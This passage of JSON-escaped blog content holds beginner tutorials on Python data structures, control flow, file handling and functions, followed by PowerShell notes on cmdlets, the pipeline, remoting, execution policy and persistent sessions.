print(list1) list1.clear() print(list1) # sorting list4 = [8, 12, 5, 6, 17, 2] print(list4) list4.sort() print(list4) list4.sort(reverse=True) print(list4) # important note -- copying lists list5 = list4 print(list4) print(list5) list5[2] = \u0026#34;X\u0026#34; print(list5) print(list4) # make hard copy instead list6 = list4.copy() print(list4) print(list6) list6[2] = \u0026#34;A\u0026#34; print(list4) print(list6) # map function list7 = [\u0026#34;1\u0026#34;, \u0026#34;2\u0026#34;, \u0026#34;3\u0026#34;] print(list7) list8 = list(map(float, list7)) print(list8) Dictionaries Dictionaries store data in key-value pairs using efficient hash table structures. Duplicate keys are not allowed.\ndict1 = {\u0026#34;a\u0026#34;:1, \u0026#34;b\u0026#34;:2, \u0026#34;c\u0026#34;:3} print(dict1) print(type(dict1)) print(len(dict1)) # accessing data in a dict print(dict1[\u0026#34;a\u0026#34;]) print(dict1.get(\u0026#34;a\u0026#34;)) print(dict1.keys()) print(dict1.values()) print(dict1.items()) # no duplicates are allowed dict1[\u0026#34;a\u0026#34;] = 1 print(dict1) # adding items/values dict1[\u0026#34;d\u0026#34;] = 4 print(dict1) dict1[\u0026#34;a\u0026#34;] = 0 print(dict1) dict1.update({\u0026#34;a\u0026#34;: 1}) print(dict1) # removing items dict1.pop(\u0026#34;d\u0026#34;) print(dict1) del dict1[\u0026#39;c\u0026#39;] print(dict1) # nested dictionaries dict1[\u0026#39;c\u0026#39;] = {\u0026#34;a\u0026#34;: 1, \u0026#34;b\u0026#34;: 2} print(dict1) # creating empty dictionary dict2 = {} print(dict2) dict3 = dict() print(dict3) Sets Sets are unordered collections that do not allow duplicates. Because they are unordered, they do not support indexing.\nset1 = {\u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;, \u0026#34;c\u0026#34;} print(set1) print(type(set1)) # sets are not ordered -- no indexing # print(set1[0]) # no duplicates set2 = {\u0026#34;a\u0026#34;, \u0026#34;a\u0026#34;, \u0026#34;a\u0026#34;} print(set2) print(len(set2)) set3 = {\u0026#34;a\u0026#34;, 0, True} print(set3) print(type(set3)) set4 = set((\u0026#34;b\u0026#34;, 1, False)) print(set4) # modifying items -- values set1.add(\u0026#34;d\u0026#34;) print(set1) # no duplicates -- True==1;False==0 set3.update(set4) print(set3) # update sets with iterables list1 = [\u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;, \u0026#34;c\u0026#34;] set4 = {4, 5, 6} print(list1) print(set4) set4.update(list1) print(set4) # sets as mathematical constructs -- difference, union ... set5 = {4, 5, 6} set6 = set4.union(set4) print(set6) # only remove if sure that value is there -- otherwise use discard set4.remove(4) print(set4) # will remove if there -- no errors if not set4.discard(4) print(set4) # since no order -- pop will discard one value print(set1) set1.pop() print(set1) Conditionals Conditionals are evaluated in linear order from top to bottom.\nif True: print(\u0026#34;True\u0026#34;) if False: print(\u0026#34;False\u0026#34;) if not False: print(\u0026#34;not false\u0026#34;) if 1 \u0026lt; 1: print(\u0026#34;1 \u0026lt; 1\u0026#34;) elif 1 \u0026lt;= 1: print(\u0026#34;1 \u0026lt;= 1\u0026#34;) else: print(\u0026#34;else 1\u0026#34;) # only the first true evaluation will be executed if 1 \u0026lt; 1: print(\u0026#34;1 \u0026lt; 1\u0026#34;) elif 1 \u0026lt;= 1: print(\u0026#34;1 \u0026lt;= 1\u0026#34;) elif 2 \u0026lt;= 2: print(\u0026#34;2 \u0026lt;= 2\u0026#34;) else: print(\u0026#34;else reached\u0026#34;) # combine comparisons if 1 \u0026gt; 0 and 0 \u0026lt; 1: print(\u0026#34;1 \u0026gt; 0 and 0 \u0026lt; 1\u0026#34;) if 1 \u0026lt; 0 and 0 \u0026lt; 1: print(\u0026#34;1 \u0026lt; 0 and 0 \u0026lt; 1\u0026#34;) if 1 \u0026lt; 0 or 0 \u0026lt; 1: print(\u0026#34;1 \u0026lt; 0 or 0 \u0026lt; 1\u0026#34;) if (1 \u0026lt; 0 or 0 \u0026lt; 1) or 1 == 0: print(\u0026#34;1 \u0026lt; 0 or 0 \u0026lt; 1\u0026#34;) # short hand form -- syntactic sugar if 0 \u0026lt; 1: print(\u0026#34;0 \u0026lt; 1\u0026#34;) # inline ternary print(\u0026#34;1 \u0026gt;= 1\u0026#34;) if 1 \u0026gt;= 1 else print(\u0026#34;1 \u0026lt; 1\u0026#34;) # the same as if 1 \u0026gt;= 1: print(\u0026#34;1 \u0026gt;= 1\u0026#34;) else: print(\u0026#34;1 \u0026lt; 1\u0026#34;) # more complicated ternaries ## long form expression if 0 \u0026gt; 1: print(\u0026#34;1\u0026#34;) elif 0 \u0026lt; 1: print(\u0026#34;2\u0026#34;) else: print(\u0026#34;3\u0026#34;) ## ternary print(\u0026#34;1\u0026#34;) if 0 \u0026gt; 1 else print(\u0026#34;2\u0026#34;) if 0 \u0026lt; 1 else print(\u0026#34;3\u0026#34;) Loops a = 1 print(a) a += 1 a += 1 a += 1 print(a) # while loop -- execute till condition is true a = 1 while a \u0026lt; 5: a += 1 print(a) # for loop -- execute a number of times for i in [0, 1, 2, 3, 4]: print(i+6) print(\u0026#34;----\u0026#34;) for i in range(5): print(i+6) print(\u0026#34;----\u0026#34;) # nested loops for i in range(3): for j in range(3): print(i,j) # loop control statements: break;continue print(\u0026#34;--break--\u0026#34;) for i in range(5): if i == 2: break print(i) print(\u0026#34;--continue--\u0026#34;) for i in range(5): if i == 2: continue print(i) print(\u0026#34;--pass--\u0026#34;) for i in range(5): if i == 2: pass print(i) print(\u0026#34;--looping-over-iterables-string--\u0026#34;) # loop over each character in a string for c in \u0026#34;string\u0026#34;: print(c) print(\u0026#34;--looping-over-iterables-dict--\u0026#34;) for key, value in {\u0026#34;a\u0026#34;:1, \u0026#34;b\u0026#34;:2, \u0026#34;c\u0026#34;: 3}.items(): print(key, value) Reading and Writing Files ###### READING A FILE # handle to the file -- default mode -- read and utf-8 f = open(\u0026#39;top-100.txt\u0026#39;) print(f) # specify mode -- read text f = open(\u0026#39;top-100.txt\u0026#39;, \u0026#39;rt\u0026#39;) # read the file # print(f.read()) # read by lines -- 1 array, each item maps to a line print(f.readlines()) # will read nothing print(f.readlines()) # change the current file position back to the start f.seek(0) print(f.readlines()) # reach back again f.seek(0) for line in f: print(line.strip()) f.close() ###### WRITING TO A FILE # will overwrite the file f = open(\u0026#34;test.txt\u0026#34;, \u0026#34;w\u0026#34;) f.write(\u0026#34;test line two!\u0026#34;) f.close() # will NOT overwrite the file -- append mode f = open(\u0026#34;test.txt\u0026#34;, \u0026#34;a\u0026#34;) f.write(\u0026#34;test line three!\u0026#34;) f.close() ###### GETTING MORE INFORMATION ABOUT THE FILE HANDLE print(f.name) print(f.closed) print(f.mode) ###### SPECIFY ENCODING with open(\u0026#39;rockyou.txt\u0026#39;, encoding=\u0026#39;latin-1\u0026#39;) as f: for line in f: pass User Input # test = input() # print(test) # display a message before the input test = input(\u0026#34;Enter the IP:\u0026#34;) print(test) # interacting with the user while True: test = input(\u0026#34;Enter the IP: \u0026#34;) print(\u0026#34;\u0026gt;\u0026gt;\u0026gt; {}\u0026#34;.format(test)) if test == \u0026#34;exit\u0026#34;: break else: print(\u0026#34;exploiting..\u0026#34;) Exceptions and Error Handling Python performs minimal error checking at compile time. It defers most checks until each line actually runs. An exception is an error that occurs during execution, typically representing a runtime problem that halts normal execution.\nThe try-except block:\ntry: Tests a block of code except: Handles any errors that occur finally: Executes regardless of whether an exception occurred \u0026ndash; this always runs Standard exceptions:\nArithmeticError: Errors during numeric calculations SyntaxError: Errors in Python syntax IndentationError: Incorrect indentation # play around with commenting/uncommenting as you see fit ######### CATCHING ERRORS ######## print(1) # indentation error # print(2) # FileNotFoundError -- example try: f = open(\u0026#34;adadsasdadasd\u0026#34;) except: print(\u0026#34;the file does not exist!\u0026#34;) # previous example will catch ALL errors try: fdglkjgkldfjgd except: print(\u0026#34;the file does not exist!\u0026#34;) # specify the error -- print it out try: asdsadasdasd f = open(\u0026#34;asdasdasdsa\u0026#34;) except Exception as e: print(e) print(\u0026#34;-\u0026#34;*10 + \u0026#34;granular\u0026#34; + \u0026#34;-\u0026#34;*10) # specify the error -- more granular -- only first is printed try: fsd;kfds;lkfsdf f = open(\u0026#34;asdasdasdsa\u0026#34;) except FileNotFoundError: print(\u0026#34;the file does not exist!\u0026#34;) except Exception as e: print(e) print(\u0026#34;-\u0026#34;*10 + \u0026#34;finally\u0026#34; + \u0026#34;-\u0026#34;*10) # specify the error -- with finally block # regardless of which is executed # finally block will ALWAYS execute # even when NO errors at all try: f = open(\u0026#34;asdasdasdsa\u0026#34;) except FileNotFoundError: print(\u0026#34;the file does not exist!\u0026#34;) except Exception as e: print(e) finally: print(\u0026#34;this message!\u0026#34;) ######### RAISING ERRORS ######## n = 100 if n == 0: raise Exception(\u0026#34;n can\u0026#39;t be 0!\u0026#34;) print(1/n) # n = 0 # if n == 0: #\traise Exception(\u0026#34;n can\u0026#39;t be 0!\u0026#34;) # print(1/n) # exception is ONLY raised for that special case # n = \u0026#34;asd\u0026#34; # if n == 0: # raise Exception(\u0026#34;n can\u0026#39;t be 0!\u0026#34;) # print(1/n) # exception is ONLY raised for that special case n = 100 # try 0;\u0026#34;asd\u0026#34; if n == 0: raise Exception(\u0026#34;n can\u0026#39;t be 0!\u0026#34;) if type(n) is not int: raise Exception(\u0026#34;n must be an int!\u0026#34;) print(1/n) ######### ASSERTIONS ######## n = 1 # try 0 assert(n != 0) print(1/n) Comprehensions Comprehensions provide a shorter syntax for creating lists based on existing iterables.\nlist1 = [\u0026#39;a\u0026#39;, \u0026#39;b\u0026#39;, \u0026#39;c\u0026#39;] print(list1) list2 = [x for x in list1] print(list2) # with conditionals list3 = [x for x in list1 if x == \u0026#39;a\u0026#39;] print(list3) # with range list4 = [x for x in range(5)] print(list4) # apply a function list5 = [hex(x) for x in range(5)] print(list5) # with ternaries list6 = [hex(x) if x \u0026gt; 0 else \u0026#34;X\u0026#34; for x in range(5)] print(list6) # numerical operations list7 = [x * x for x in range(5)] print(list7) # multiple conditionals list8 = [x for x in range(5) if x == 0 or x == 1] print(list8) # nested expressions list9 = [[1,2,3],[4,5,6],[7,8,9]] print(list9) list10 = [y for x in list9 for y in x] print(list10) # other iterable datatypes --- not lists set1 = {x + x for x in range(5)} print(set1) list11 = [c for c in \u0026#34;string\u0026#34;] print(list11) # join() -- to combine items in an iterable into a single string print(\u0026#34;\u0026#34;.join(list11)) # specify delimiter print(\u0026#34;-\u0026#34;.join(list11)) # written out in a longer format list12 = [] for c in \u0026#34;string\u0026#34;: list12.append(c) print(list12) Functions and Code Reuse Global vs Local Variables:\nVariables declared inside a function have local scope and can only be used by that function. Variables declared in the main body of code are global variables and can be accessed by other functions. def function1(): print(\u0026#34;hello from function!\u0026#34;) function1() function1() def function2(): return \u0026#34;hello from function2!\u0026#34; return_from_function2 = function2() print(return_from_function2) # not optional parameter def function3(s): print(\u0026#34;\\t{}\u0026#34;.format(s)) function3(\u0026#34;parameter\u0026#34;) # multiple parameters def function4(s1, s2): print(\u0026#34;{} {}\u0026#34;.format(s1, s2)) function4(\u0026#34;any\u0026#34;, \u0026#34;thing\u0026#34;) # specify by keyword arguments function4(s1=\u0026#34;thing\u0026#34;, s2=\u0026#34;any\u0026#34;) function4(s2=\u0026#34;any\u0026#34;, s1=\u0026#34;thing\u0026#34;) # optional arguments def function5(s1 = \u0026#34;default\u0026#34;): print(\u0026#34;{}\u0026#34;.format(s1)) function5() function5(\u0026#34;anything\u0026#34;) # unknown number of arguments --\u0026gt; * def function6(s1, *more): print(\u0026#34;{} {}\u0026#34;.format(s1, \u0026#34; \u0026#34;.join([s for s in more]))) function6(\u0026#34;function6\u0026#34;) function6(\u0026#34;function6\u0026#34;, \u0026#34;a\u0026#34;) function6(\u0026#34;function6\u0026#34;, \u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;, \u0026#34;c\u0026#34;) # dictionary as argument def function7(**ks): for a in ks: print(a, ks[a]) function7(a=\u0026#34;1\u0026#34;, b=\u0026#34;2\u0026#34;, c=\u0026#34;3\u0026#34;) function7(a=\u0026#34;1\u0026#34;, b=\u0026#34;2\u0026#34;, c=\u0026#34;3\u0026#34;, d=\u0026#34;4\u0026#34;) # any datatype def function8(s, f, i, l): print(type(s)) print(type(f)) print(type(i)) print(type(l)) function8(\u0026#34;string\u0026#34;, 1.0, 1, [\u0026#39;l\u0026#39;, \u0026#39;i\u0026#39;, \u0026#39;s\u0026#39;, \u0026#39;t\u0026#39;]) ####### GLOBAL VS LOCAL VARIABLES # global var v = 100 print(v) def function9(): # local var v = 5 v += 1 print(v) function9() print(v) # global var v = 100 print(v) def functionA(): # reference the global var global v v += 1 print(v) functionA() print(v) ##### functions calling functions def function10(): print(\u0026#34;hello from function10\u0026#34;) def function11(): function10() print(\u0026#34;hello from function11\u0026#34;) function11() ###### RECURSION -- functions calling themselves def function12(x): print(x) if x \u0026gt; 0: function12(x-1) function12(5) ###### ITERATIVE FUNCTIONS def function13(x): while x \u0026gt;= 0: print(x) x -= 1 function13(5) Lambdas A lambda is an anonymous function without a name. It can only contain one expression.\nadd_4 = lambda x: x + 4 print(add_4(4)) add = lambda x, y: x + y print(add(10,4)) # the same as def addf(x, y): return x + y print(addf(10,4)) # ANONYMOUS EXPRESSIONS # defined and evaluated all in one line print((lambda x, y: x + y)(10, 4)) #### COMMON HACKING LAMBDAS is_even = lambda x: x % 2 == 0 print(is_even(2)) print(is_even(3)) # breaking a string up into specified sized blocks blocks = lambda x, y: [x[i:i+y] for i in range(0, len(x), y)] print(blocks(\u0026#34;string\u0026#34;, 2)) to_ord = lambda x: [ord(i) for i in x] print(to_ord(\u0026#34;ABCD\u0026#34;)) # the same as def to_ord2(x): ret = [] for i in x: ret.append(ord(i)) return ret print(to_ord2(\u0026#34;ABCD\u0026#34;)) ","permalink":"https://onebee.blog/blog/collection/foundations/python-101-p1/","summary":"Collection | Foundations | Python 101 | Part 1","title":"Foundations | Python 101 - P1"},{"content":"Attribution\nThis introduction to PowerShell is based on notes we took while studying the excellent PowerShell For Beginners video course by Jason Helmick and Jeffrey Snover.\nWe highly recommend this course as a starting point for learning PowerShell; it was instrumental in our understanding of the subject. A big thank you to the creators for providing such valuable resources!\nDon\u0026rsquo;t Fear The Shell PowerShell might look intimidating at first, but it is designed to be approachable. Let us start with the basics.\nGetting the Current Version\nTo check which version of PowerShell you are running:\n$PSVersionTable Copy and Paste in PowerShell\nPowerShell handles copy and paste a bit differently than you might expect:\nHighlight the text you want to copy, then right-click to copy it. Right-click again to paste at the cursor position. Cmdlets Structure\nPowerShell commands follow a simple pattern: Verb-Noun. This makes them easy to remember and guess.\nFormat: \u0026lt;verb\u0026gt;-\u0026lt;noun\u0026gt; Example: Get-Service, Stop-Process, Set-Location Running Multiple Commands\nYou can run multiple commands on a single line using the semicolon (;) as a separator:\n# ; is a statement separator cls; Get-Alias Common Aliases and Linux Commands\nPowerShell includes aliases to make the transition easier for people coming from Linux or CMD:\nWhat you type What it actually runs history Get-History cd Set-Location ls or dir Get-ChildItem clear or cls Clear-Host mkdir or md New-Item -ItemType Directory man or help Get-Help cat or type Get-Content To find aliases for a specific command:\n# List all aliases Get-Alias # Find aliases for a specific command Get-Alias -Definition Get-Process # Find aliases matching a pattern Get-Alias *sv Running Windows Native Commands\nYou can still launch Windows applications directly from PowerShell:\ncalc notepad mspaint Windows Networking Commands\nStandard networking commands work too:\nping google.com ipconfig /all Comments\nAdd comments to your code using the hash symbol:\n# This is a test comment Get-Process # Comments can go at the end of lines too Wildcards\ngal *sv The Help System PowerShell has a built-in help system that is your best friend. Learn to use it early and often.\nUpdate the Help System\nHelp files are not included by default on some systems. Update them first:\nUpdate-Help Update-Help -Force Read the Conceptual Topics\nPowerShell includes detailed documentation on concepts, not just commands:\n# Get help on a specific topic Get-Help about_EventLogs # List all available conceptual topics Get-Help about_* Get All Available Verbs\nTo see what verbs are available for naming your own functions:\nGet-Verb # Count them Get-Verb | Measure-Object Get Detailed Information About a Command\nThe Get-Help command has several useful switches:\n# Get detailed info Get-Help Get-Service -Detailed # Get only examples (very useful!) Get-Help Get-Service -Examples # Get everything including parameter details Get-Help Get-Service -Full # Show help in a separate popup window Get-Help Get-Service -ShowWindow # Open online documentation (great for older PowerShell versions) Get-Help Get-Service -Online Understanding Command Syntax\nWhen you look at help output, you will see parameter sets. Here is how to read them:\n- (dash) precedes parameter names. [] (square brackets) mean the parameter is optional. \u0026lt;\u0026gt; (angle brackets) indicate where you put values. String[] means the parameter accepts multiple string values, separated by commas. Positional parameters ([[-Name] \u0026lt;String[]\u0026gt;]) let you skip the parameter name if you put values in the right order:\n# Explicit Get-Service -Name bits # Positional (same result) Get-Service bits # Multiple values Get-Service -Name bits, bfe Get-Service -Name b*, c* Example: Get the Newest Error Event Logs\nGet-EventLog -LogName System -Newest 3 -EntryType Error The Pipeline: Getting Connected The pipeline is one of PowerShell\u0026rsquo;s most powerful features. It lets you chain commands together to perform complex operations simply.\nIntroduction to the Pipeline\nThe basic idea: take objects (not just text), send them through the pipeline using the pipe character |, and let each command process them.\nGet-Service | Select-Object Name, Status | Sort-Object Name # Same thing, formatted for readability Get-Service | Select-Object Name, Status | Sort-Object Name The Current Object in the Pipeline\nWhen processing items in the pipeline, use $_ or $PSItem to refer to the current object:\nGet-Service | Where-Object { $_.Status -eq \u0026#34;Running\u0026#34; } Example: Working with Services\n# Stop a specific service Get-Service -Name bits | Stop-Service # Restart a service and display the results Get-Service -Name bits | Start-Service -PassThru # Export services to a CSV file Get-Service | Export-Csv -Path C:\\service.csv # Import it back Import-Csv C:\\service.csv Example: Debugging Processes\nCompare running processes against a baseline:\n# Take a snapshot on a baseline machine Get-Process | Export-Clixml -Path C:\\good.xml # Compare with the machine you are debugging Compare-Object -ReferenceObject (Import-Clixml \u0026#39;C:\\good.xml\u0026#39;) -DifferenceObject (Get-Process) -Property Name ConvertTo vs Export\nHere is the difference:\nExport commands convert data and write it to a file. ConvertTo commands only convert the data; you need to pipe it to Out-File yourself. Example: Export Services to HTML\nGet-Service | ConvertTo-Html -Property Name, Status | Out-File C:\\test.html # Open the file C:\\test.html Safety First: WhatIf\nWhen you are unsure what a command will do, use -WhatIf. It shows exactly what would happen without actually doing it:\nGet-Service | Stop-Service -WhatIf Confirming Actions\nUse -Confirm to see what a command would do and get prompted before it runs:\nGet-Service | Stop-Service -Confirm # Narrow it down to save time Get-Service -DisplayName *bi* | Stop-Service -Confirm Extending the Shell Adding Packages via GUI\nYou can manage snap-ins through the Microsoft Management Console:\nmmc # Then go to File -\u0026gt; Add/Remove Snap-ins Importing Modules via PowerShell\nModules extend PowerShell\u0026rsquo;s capabilities. Here is how to work with them:\n# See available modules Get-Module -ListAvailable # See currently loaded modules Get-Module # Import a module Import-Module ServerManager # List commands in a module Get-Command -Module Server* # Example: Working with Windows features Get-WindowsFeature Add-WindowsFeature Telnet-Client, Telnet-Server -Restart Objects for the Admin Recommended Resources\nWebsite: powershell.org Book: Learn Windows PowerShell in a Month of Lunches by Don Jones (Chapter 9 is especially helpful) Discovering Object Properties and Methods\nEverything in PowerShell is an object. To see what you can do with it:\nGet-Process | Get-Member # or shorthand Get-Process | gm What Is an Object?\nProperties: Things the object has (data). Methods: Things the object can do (actions). Example: Processes with High Handle Counts\nGet-Process | Where-Object Handles -GT 1000 | Sort-Object Handles Example: Display Folder Contents Sorted by Size\nGet-ChildItem | Select-Object -Property Name, Length | Sort-Object -Property Length -Descending Example: Selective Event Log Export\nGet-EventLog -LogName System -Newest 5 | Select-Object -Property EventID, TimeWritten, Message | Sort-Object -Property TimeWritten | ConvertTo-Html | Out-File C:\\errorlog.html Example: Working with XML Files\nPowerShell can cast files as XML objects and navigate them like objects:\n# Read an XML file $x = [xml](Get-Content .\\r_and_j.xml) # Display the object $x # Check the type $x.GetType() # Navigate the XML structure $x.Play.Act[0].Scene[0].Speech # Group and analyze $x.Play.Act.Scene.Speech | Group-Object Speaker | Sort-Object Count Filtering with Where-Object\nThere are two ways to use Where-Object:\nSimple syntax (PowerShell 3.0 and later):\nGet-Process | Where-Object Handles -GE 1000 Script block syntax (for complex conditions):\nGet-Service | Where-Object { $_.Status -eq \u0026#34;Running\u0026#34; } Get-Service | Where-Object { $PSItem.Status -eq \u0026#34;Running\u0026#34; -and $_.Name -like \u0026#34;b*\u0026#34; } How it works:\nEach object coming through the pipeline gets assigned to $_ or $PSItem. PowerShell evaluates the code inside {}. If the code returns $true, the object passes through. If $false, it is discarded. Available Operators\nTo see all available comparison operators:\nGet-Help *operators* The Pipeline Deeper: How It Really Works Understanding how the pipeline connects commands helps you troubleshoot when things do not work as expected. There are four ways data flows through the pipeline.\nStep One: ByValue Matching\nThe receiving command looks for a parameter that accepts pipeline input ByValue and matches the object type exactly.\n# Get-Service outputs ServiceController objects # Stop-Service accepts ServiceController[] via -InputObject (ByValue) Get-Service | Stop-Service -WhatIf To check if types match:\n# See what type a command outputs \u0026lt;command\u0026gt; | Get-Member # Check what types a receiving command accepts Get-Help \u0026lt;receiving-command\u0026gt; -Full # Look for \u0026#34;Accepts pipeline input: True (ByValue)\u0026#34; Step Two: ByPropertyName Matching\nThe receiving command matches property names from the incoming objects to its parameter names.\n# ByPropertyName: Name -\u0026gt; Name Get-Service | Stop-Process -WhatIf # ByPropertyName: Path parameter matches Path property Get-Process calc | Get-ChildItem Step Three: Customizing Property Names\nWhen property names do not match, fix them on the fly using calculated properties:\n# Problem: Get-ADComputer outputs \u0026#34;Name\u0026#34;, but Get-Service needs \u0026#34;ComputerName\u0026#34; Get-ADComputer -Filter * | Get-Service -Name bits # This fails # Solution: Rename the property using a calculated property Get-ADComputer -Filter * | Select-Object -Property @{Name=\u0026#39;ComputerName\u0026#39;; Expression={$_.Name}} | Get-Service -Name bits # Shorthand versions work too Get-ADComputer -Filter * | Select-Object -Property @{N=\u0026#39;ComputerName\u0026#39;; E={$_.Name}} Get-ADComputer -Filter * | Select-Object -Property @{L=\u0026#39;ComputerName\u0026#39;; E={$_.Name}} Step Four: The Parenthetical Approach\nWhen pipeline binding fails entirely, use parentheses to pass data as a parameter:\n# -ComputerName expects strings, not objects Get-WmiObject -Class Win32_Bios -ComputerName (Get-ADComputer -Filter * | Select-Object -ExpandProperty Name) # PowerShell 3.0 shortcut Get-WmiObject -Class Win32_Bios -ComputerName (Get-ADComputer -Filter *).Name # Using script blocks (also works) Get-ADComputer -Filter * | ForEach-Object { Get-WmiObject -Class Win32_Bios -ComputerName $_.Name } The Power in the Shell: Remoting PowerShell Remoting lets you manage remote computers as easily as local ones. It uses the WS-Management protocol (implemented as WinRM).\nAdvantages of WinRM:\nUses a single port (easy to firewall) Secure by default (encrypted with Kerberos) Fast performance Optional SSL for double encryption Enable Remoting\nRemoting is enabled by default on Server 2012 and later. For other systems:\nVia PowerShell (per machine):\nEnable-PSRemoting Via Group Policy (for many machines):\nNavigate to: Computer Configuration/Policies/Administrative Templates/Windows Components/Windows Remote Management (WinRM)/WinRM Service\nOne-to-One Connections\nEnter an interactive session on a remote computer:\nEnter-PSSession -ComputerName DC # When done, return to your local session Exit-PSSession # Or open Remote Desktop mstsc /v:DC One-to-Many Connections\nRun commands on multiple computers simultaneously:\n# Run a command on multiple computers Invoke-Command -ComputerName DC, S1, S2 { Get-EventLog -LogName System -Newest 3 } # Format the output nicely Invoke-Command -ComputerName DC, S1, S2 { Get-EventLog -LogName System -Newest 3 } | Sort-Object TimeWritten | Format-Table -Property TimeWritten, Message -AutoSize # Restart multiple systems Invoke-Command -ComputerName DC, S1, S2 { Restart-Computer } # Check service status remotely Invoke-Command -ComputerName DC, S1, S2 { Get-Service -Name bits } What Happens During Remoting\nWhen you run Invoke-Command, here is what happens behind the scenes:\nEstablish a TCP connection Start a PowerShell process on the remote machine Load the .NET Framework Initialize PowerShell Run profile scripts Send your code across the network Execute the code on the remote system Serialize the results into XML Transmit the XML back Deserialize (reconstruct) the objects on your local machine Understanding Serialization\nSerialization converts live objects into property bags (XML) for transport, then reconstructs them on the other side. Only properties survive; methods are lost.\n# Local object - has methods Get-Service -Name bits | Get-Member # Type: ServiceController # Remote object - deserialized, properties only Invoke-Command -ComputerName S1 { Get-Service -Name bits } | Get-Member # Type: Deserialized.ServiceController Windows PowerShell Web Access\nSet up web-based PowerShell access:\n# Install the feature (also installs IIS and .NET 4.5) Install-WindowsFeature WindowsPowerShellWebAccess # See available commands Get-Help *Pswa* # Install the web application (uses test certificate for 90 days) Install-PswaWebApplication -UseTestCertificate # Add authorization rules (who can access what) Add-PswaAuthorizationRule -UserName Domain\\User -ComputerName Server01 -ConfigurationName AdminsOnly # Testing only: Allow everyone access to everything (NOT for production!) Add-PswaAuthorizationRule * * * Example: Find the Server with the Most Free Space\n# Check disk space on multiple servers Invoke-Command DC, S1, S2 { Get-Volume } | Sort-Object SizeRemaining # Get the top 3 with most free space Invoke-Command DC, S1, S2 { Get-Volume } | Sort-Object SizeRemaining | Select-Object -Last 3 Getting Prepared for Automation PowerShell Security Goals\nPowerShell is designed to be secure by default:\nNo script execution allowed initially .ps1 files open in Notepad by default (do not run) You must type the full path or .\\ to run a script Execution Policy\nThe execution policy controls what scripts can run. It applies to scripts, not interactive commands.\nCheck and set your policy:\nGet-ExecutionPolicy Set-ExecutionPolicy RemoteSigned Policy options:\nRestricted (default) - No scripts allowed AllSigned - All scripts must be digitally signed RemoteSigned - Downloaded scripts must be signed; local scripts can run Unrestricted - All scripts run (not recommended) Bypass - Nothing is blocked (use with caution) Working with Certificates\nCreate a self-signed certificate for testing:\n# Create the certificate New-SelfSignedCertificate -CertStoreLocation Cert:\\CurrentUser\\My -Subject \u0026#34;CN=PowerShell Code Signing\u0026#34; -Type CodeSigningCert # View certificate drives Get-PSDrive # Get code signing certificates $cert = Get-ChildItem Cert:\\CurrentUser -Recurse -CodeSigningCert | Select-Object -First 1 Sign Your Scripts\n# Set policy to require signatures Set-ExecutionPolicy AllSigned # Sign a script Set-AuthenticodeSignature -Certificate $cert -FilePath .\\test.ps1 # Run it (you will be prompted to trust the certificate) .\\test.ps1 Variables\nVariables in PowerShell start with $:\n# Simple variable $MyVar = \u0026#34;Hello\u0026#34; $MyVar # Variable containing an object $MyVar = Get-Service bits $MyVar.Status # Access properties $MyVar.Stop() # Call methods $MyVar.Refresh() # Refresh the object # Variable names can contain spaces and special characters (use braces) ${THIS IS A TEST} = 4 ${THIS IS A TEST} # Special characters are allowed too ${MY VAR 123!@#} = \u0026#34;Amazing\u0026#34; ${MY VAR 123!@#} Reading User Input\n# Prompt for input $computer = Read-Host \u0026#34;Enter a ComputerName\u0026#34; # Use the variable Get-Service -Name bits -ComputerName $computer Writing to Files\n# Create a range and display it 1..5 # Write to a file 1..5 \u0026gt; test.txt # Read it back using variable syntax ${C:\\path\\test.txt} # Explanation: The `$` syntax indicates where data is stored. # Normally in memory (lost when the process ends), but files persist. Writing Output\nAvoid Write-Host because it does not send data to the pipeline \u0026ndash; it only displays to the screen. If you must use it, consider it \u0026ldquo;show\u0026rdquo; output only.\n# Display output (does not go to pipeline) Write-Host $var -ForegroundColor Red -BackgroundColor Green # This fails because Write-Host produces no output for the pipeline Write-Host $var | Get-Member # Use Write-Output instead (creates objects) Write-Output $var | Get-Member # Warning and error messages Write-Warning \u0026#34;Please do not do that\u0026#34; Write-Error \u0026#34;Something went wrong!\u0026#34; Automation at Scale: Persistent Sessions The Problem with One-Off Commands\nCreating and tearing down connections for every command is inefficient. It takes time to:\nEstablish TCP connections Start processes Load the CLR and PowerShell Run profiles Execute code Tear everything down Example: The Problem\n# Create a variable on a remote machine Invoke-Command -ComputerName DC { $var = 2 } # Try to read it back (fails because the session is gone) Invoke-Command -ComputerName DC { Write-Output $var } # No output - the session was destroyed Solution: Persistent Sessions\n# Create a persistent session $session = New-PSSession -ComputerName DC # View open sessions Get-PSSession # Now variables persist Invoke-Command -Session $session { $var = 2 } Invoke-Command -Session $session { $var } # Returns 2 Performance Comparison\n# One-off connection (slower) Measure-Command { Invoke-Command -ComputerName DC { Get-Process } } # Reusing a session (faster) Measure-Command { Invoke-Command -Session $session { Get-Process } } Practical Example: Deploying Web Servers\n# Define servers $servers = \u0026#39;S1\u0026#39;, \u0026#39;S2\u0026#39; # Verify no websites exist yet (will show errors - expected) $servers | ForEach-Object { Start-Process iexplore \u0026#34;http://$_\u0026#34; } # Create persistent sessions $sessions = New-PSSession -ComputerName $servers # Install web server feature (runs in parallel on all machines) Invoke-Command -Session $sessions { Install-WindowsFeature Web-Server } # Verify websites are running $servers | ForEach-Object { Start-Process iexplore \u0026#34;http://$_\u0026#34; } # Create a simple webpage notepad C:\\default.htm # Deploy the webpage to all servers $servers | ForEach-Object { Copy-Item C:\\default.htm -Destination \u0026#34;\\\\$_\\C$\\inetpub\\wwwroot\u0026#34; } # Verify deployment $servers | ForEach-Object { Start-Process iexplore \u0026#34;http://$_\u0026#34; } Implicit Remoting: Using Remote Modules Locally\nYou can import modules from remote machines without installing them locally:\n# Create a session to a domain controller $dcSession = New-PSSession -ComputerName DC # Import the ActiveDirectory module from the remote session Import-PSSession -Session $dcSession -Module ActiveDirectory -Prefix Remote # Now you can use AD commands as if they were local Get-RemoteADUser -Filter * # The imported commands are actually proxies that run remotely Get-Command Get-RemoteADUser (Get-Command Get-RemoteADUser).Definition How it works:\nPowerShell connects to the remote machine Loads the requested module Gets the command definitions Creates local proxy functions with the same signatures When you call them, they execute remotely and return results Scripting and Toolmaking ISE Tips\nThe Integrated Scripting Environment (ISE) has useful shortcuts:\nCtrl+R: Switch between panes Ctrl+J: Insert code snippets Example: Get Free Disk Space\n# Old approach Get-WmiObject Win32_LogicalDisk -Filter \u0026#34;DeviceID=\u0026#39;C:\u0026#39;\u0026#34; | Select-Object FreeSpace # Better: Convert 